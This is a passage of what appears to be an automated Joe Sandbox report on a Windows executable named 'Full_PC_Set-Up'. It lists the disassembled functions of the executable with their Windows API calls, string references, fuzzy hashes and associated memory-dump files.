Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __snprintf
String ID: NULL row buffer for row %ld, pass %d$Uninitialized row$png_do_dither returned rowbytes=0$png_do_rgb_to_gray found nongray pixel
API String ID: 2633826957-1167472168
Opcode ID: d0a4a578aa64f84e44f1a7d4e84b7ae853e553d74e4ba399edbd1581e9a5b62a
Instruction ID: fcd17bea24639e0eed924e1ae1b6367a151e0633b8a60722b1b8c4006bf3d548
Opcode Fuzzy Hash: d0a4a578aa64f84e44f1a7d4e84b7ae853e553d74e4ba399edbd1581e9a5b62a
Instruction Fuzzy Hash: FAD160B6500F409BE326DA34C845FE7B7E8EB54304F048D1EE9EB52281D779B946CB68

Function 00368ECC Relevance: 9.1, APIs: 6, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00368EFF
GetParent.USER32(?), ref: 00368F0D
GetParent.USER32(?), ref: 00368F20
GetLastActivePopup.USER32(?), ref: 00368F31
IsWindowEnabled.USER32(?), ref: 00368F45
EnableWindow.USER32(?,00000000), ref: 00368F58

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: ceddcbb03fb7c0d0c3022e328de60b09938f458829f683469e3d4d6f1a77276b
Instruction ID: c7e0bb7f4dfee1f55f5632ab1a39f073949a838b50e9df611980734b77da0ad3
Opcode Fuzzy Hash: ceddcbb03fb7c0d0c3022e328de60b09938f458829f683469e3d4d6f1a77276b
Instruction Fuzzy Hash: 05119132605221ABDB331F59AC44B2A77AD6F5DBA0F1B8321EC04EB258DF60CC5046E9

Function 003764FE Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0037650F
GetDlgCtrlID.USER32(00000000), ref: 00376523
GetWindowLongW.USER32(00000000,000000F0), ref: 00376533
GetWindowRect.USER32(00000000,?), ref: 00376545
PtInRect.USER32(?,?,?), ref: 00376555
GetWindow.USER32(?,00000005), ref: 00376562

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: a13ff50d626d35d96e6399c55b54c84dceb4e2332def4643d1e0955c4d003664
Instruction ID: 05777836e6cda10e686de57a1f4b212d4b9d02e4a87490edac9334a5073860a4
Opcode Fuzzy Hash: a13ff50d626d35d96e6399c55b54c84dceb4e2332def4643d1e0955c4d003664
Instruction Fuzzy Hash: 3801A232101415BBCB229B58DC1DFAE3B7DEF42760F058122F915D2064E738DA21DB99

Function 003D4350 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

GetDeviceCaps.GDI32(0060FFB8,0000000C), ref: 003D435B
GetDesktopWindow.USER32 ref: 003D4377
GetDC.USER32(00000000), ref: 003D437A
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003D438A
GetDesktopWindow.USER32 ref: 003D4393
ReleaseDC.USER32(00000000), ref: 003D4396

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CapsDesktopDeviceWindow$Release
String ID:
API String ID: 1622522057-0
Opcode ID: 0c44a48d43f1df86826771bf222a70090d1a397d7ec23aa1ec96e418b148fc8b
Instruction ID: 6c6803e87b7421ea185ec30e7935a2c089f812b2c261a1849c082424bceb79d8
Opcode Fuzzy Hash: 0c44a48d43f1df86826771bf222a70090d1a397d7ec23aa1ec96e418b148fc8b
Instruction Fuzzy Hash: 08F08273B16510ABEB20ABB8AC4CF5F679DEBA4725F044533F245D3150DA38CC218369

Function 003677DF Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 244COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0036780F

Strings

AfxMDIFrame90su, xrefs: 003678B0
@, xrefs: 003679B4
AfxFrameOrView90su, xrefs: 003678D5
@, xrefs: 0036791B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset
String ID: @$@$AfxFrameOrView90su$AfxMDIFrame90su
API String ID: 2102423945-1093365818
Opcode ID: 728644043d500a8ac90fa2f08b725057f6d81b8b8ae4686b436808c05f1695f9
Instruction ID: a61b13155cfa10511125b7d4fe2d793c7ad3d4725bfa3c7dd53645be17c9732b
Opcode Fuzzy Hash: 728644043d500a8ac90fa2f08b725057f6d81b8b8ae4686b436808c05f1695f9
Instruction Fuzzy Hash: 78911F71C04219AADB52DFE4C485BDEBFF8AF04348F55C165F908EA185EBB48A85CB90

Function 002AEAF0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 217COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 002AEB56
wsprintfW.USER32 ref: 002AEBEB
MultiByteToWideChar.KERNEL32(00000000,00000004,?,00000000,?,00000200), ref: 002AECD9

Strings

%02X , xrefs: 002AEBE5
%08X, xrefs: 002AEB50

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: wsprintf$ByteCharMultiWide
String ID: %02X $%08X
API String ID: 760609171-1096335539
Opcode ID: 767d5dde0d389a7244e2a8312610d8207c2f74d8b4b4b3799465a59b0370b3c7
Instruction ID: 5c852b11cb8798a307c120e314d0bffa47ca92759f1ebd82293d1ce56e817c01
Opcode Fuzzy Hash: 767d5dde0d389a7244e2a8312610d8207c2f74d8b4b4b3799465a59b0370b3c7
Instruction Fuzzy Hash: 4D914AB46047019FC714DF28C884E5AB7E5FF89314F108A5DE5AA8B391DB30E90ACF96

Function 003718C2 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 184networkCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003718C9
UrlUnescapeW.SHLWAPI(?,00000000,?,02000000,00000825,?,?,?,?,?,00000010,0029A812,?,00000001,00000001,00000000), ref: 00371962
InternetOpenUrlW.WININET(?,?,?,?,?,?), ref: 003719DA

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

Part of subcall function 003717E0: __EH_prolog3.LIBCMT ref: 003717E7

Strings

GET, xrefs: 00371A36
`, xrefs: 00371AA5

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: H_prolog3$InternetOpenUnescape_malloc
String ID: GET$`
API String ID: 2204432607-335671207
Opcode ID: 7e38914c4b9ec0b4f973f85056cb06a0006e6625ebe6b5135fe9d829dbc44bb6
Instruction ID: f44645d6e4fcf9868781e74b051dced8c79c475b49fedf7f8e51b83be97d73aa
Opcode Fuzzy Hash: 7e38914c4b9ec0b4f973f85056cb06a0006e6625ebe6b5135fe9d829dbc44bb6
Instruction Fuzzy Hash: 9751C773900249ABDF26DFB8C845AFE7BA9EF04310F10C115FA1DA6291DB78CA11DB61

Function 00427250 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 150COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00427355

Strings

Insufficient memory for pCAL parameter., xrefs: 004273CE
Insufficient memory for pCAL units., xrefs: 00427304
Insufficient memory for pCAL params., xrefs: 0042733E
Insufficient memory for pCAL purpose., xrefs: 00427295

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset
String ID: Insufficient memory for pCAL parameter.$Insufficient memory for pCAL params.$Insufficient memory for pCAL purpose.$Insufficient memory for pCAL units.
API String ID: 2102423945-540226061
Opcode ID: 45f2a7534fdb2fc37faf568724d6e72e8d16090a58e265ee52590ba4c89d27d3
Instruction ID: c4b435f6fe0e0cdc64a9b1b1c4a678ea96d31a3ba3ec1138a9650502fb1849ca
Opcode Fuzzy Hash: 45f2a7534fdb2fc37faf568724d6e72e8d16090a58e265ee52590ba4c89d27d3
Instruction Fuzzy Hash: D7415976704312ABC3009F39EC45A97BB98FF81309F4449AAFC8997302DB36E419C7A5

Function 0030CD60 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?), ref: 0030CDD9
swprintf.LIBCMT ref: 0030CE27
CreateDirectoryW.KERNEL32(?,00000000), ref: 0030CE39

Strings

\, xrefs: 0030CDAF
%s%s, xrefs: 0030CE15

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateDirectoryExistsFilePathswprintf
String ID: %s%s$\
API String ID: 3953572490-180345413
Opcode ID: 4aeb0046b529c9c380ac3d24f1cae4a6a99ac0e9bd2f99e73b20eccecfb0396b
Instruction ID: de6dc51c53f3f0335ef94ee2471493de05191e8e781e05e6aca62b7b3473d70a
Opcode Fuzzy Hash: 4aeb0046b529c9c380ac3d24f1cae4a6a99ac0e9bd2f99e73b20eccecfb0396b
Instruction Fuzzy Hash: 2B4184712143028BC725DF58C855BABB3E9FFC8744F144B5DE9899B280EB70EA15CB91

Function 002A8860 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStream.GDIPLUS ref: 002A8914
GdipGetImageHeight.GDIPLUS(?,?), ref: 002A8933
GdipDisposeImage.GDIPLUS(?,?,?,?), ref: 002A89B3
GlobalFree.KERNEL32(?), ref: 002A89C9

Strings

AdditiveState.png, xrefs: 002A88EA

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$Image$BitmapCreateDisposeFreeFromGlobalHeightStream
String ID: AdditiveState.png
API String ID: 2998962037-1233701121
Opcode ID: 0d556c0dd918f9c96a4e32ad98de8fd04bab36202762101f249a461c1e456557
Instruction ID: 4ab847c82d6d58354b426df1791baee8190f4dfb5847ee0b78dc686433ee9c50
Opcode Fuzzy Hash: 0d556c0dd918f9c96a4e32ad98de8fd04bab36202762101f249a461c1e456557
Instruction Fuzzy Hash: BB414171618302DFC300DF14D48896ABBB4FFC9350F548A5DF489AB255DB31E825CBA2

Function 0037733B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 111stringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 00377357
lstrlenW.KERNEL32(?), ref: 003773A2
_wcslen.LIBCMT ref: 003773CC

Strings

System, xrefs: 00377353

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: GlobalLock_wcslenlstrlen
String ID: System
API String ID: 2647411976-3470857405
Opcode ID: 2967967575cf4b74978683dc7da00119d6493e9a3f9ccb977803eeb4aed8bc19
Instruction ID: 2f10d76bae164fed46db04a737478b70bb469fe894eff753980393b9d0e91ccd
Opcode Fuzzy Hash: 2967967575cf4b74978683dc7da00119d6493e9a3f9ccb977803eeb4aed8bc19
Instruction Fuzzy Hash: 3341D071904216EFDB25DF75C885AAEBBB9FF00308F10C66AE81AD7245D7389E51CB90

Function 004B5A00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 004B5A1F

Part of subcall function 003829DD: __vsprintf_s_l.LIBCMT ref: 003829F1

swprintf.LIBCMT ref: 004B5A66
swprintf.LIBCMT ref: 004B5A95

Strings

%08X-%04X-%04X-, xrefs: 004B5A14
%02X, xrefs: 004B5A80

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: swprintf$__vsprintf_s_l
String ID: %02X$%08X-%04X-%04X-
API String ID: 1611043062-3906155337
Opcode ID: 3912b2ae08adee9ed76df2cb4d2f212787834018eb461c3acfbad9337ed36b0f
Instruction ID: 1041f27360992810299539312a44cd2de9b2afc8dd18213c2c83b717f7a1bdf2
Opcode Fuzzy Hash: 3912b2ae08adee9ed76df2cb4d2f212787834018eb461c3acfbad9337ed36b0f
Instruction Fuzzy Hash: C2112E71E00208BBDB04DF98C886AFFBBB4FB44705F008189FA156B241D27896A0DBA5

Function 00314890 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8), ref: 003148C6
_memset.LIBCMT ref: 003148ED
ReleaseMutex.KERNEL32(?,?,00020000,?,?,00000000), ref: 00314913
GetLastError.KERNEL32 ref: 0031491B

Strings

CFMappingLog::SaveAsFile WaitForSingleObject GetLastError %d, xrefs: 00314922

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

